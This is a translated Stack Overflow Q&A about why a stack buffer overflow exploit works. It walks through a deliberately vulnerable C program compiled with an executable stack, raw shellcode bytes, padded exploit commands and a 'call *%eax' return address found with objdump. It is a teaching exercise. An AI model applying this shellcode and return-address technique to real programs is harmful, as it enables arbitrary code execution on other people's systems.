簡體   English   中英

如何在C中解釋此緩沖區溢出漏洞

[英]How to explain this buffer overflow vulnerability in C

鑒於此C程序:

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
  char buf[1024];
  strcpy(buf, argv[1]);
}

內置:

gcc -m32 -z execstack prog.c -o prog

給定外殼代碼:

EGG=$(printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/df')

該程序可通過以下命令進行利用:

./prog $EGG$(python -c 'print "A" * 991 + "\x87\x83\x04\x08"')
./prog $EGG$(python -c 'print "A" * 991 + "\x0f\x84\x04\x08"')

我從哪里獲得地址:

$ objdump -d prog | grep call.*eax
 8048387:   ff d0                   call   *%eax
 804840f:   ff d0                   call   *%eax

我了解中間AAAA填充的含義,我根據程序中buf的長度和$EGG的長度計算了991。

我不明白的是為什么這些帶有call *%eax地址中的任何一個都會觸發復制到buf開頭的shellcode的執行。 據我了解,我用0x8048387 (或另一個)覆蓋了返回地址,我不明白的是為什么這會導致跳轉到shellcode。

通過閱讀“ 粉碎堆棧”獲得樂趣和利潤,我已經走到了這一步 但是本文使用了另一種猜測相對地址來跳轉到Shellcode的方法。 我感到困惑的是,為什么這種更簡單的替代解決方案可以正常工作而無需猜測。

strcpy的返回值是目的地(在這種情況下為buf ),並且使用寄存器eax傳遞了該值。 因此,如果在main返回之前沒有什么破壞eaxeax將持有一個指向您的shell代碼的指針。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM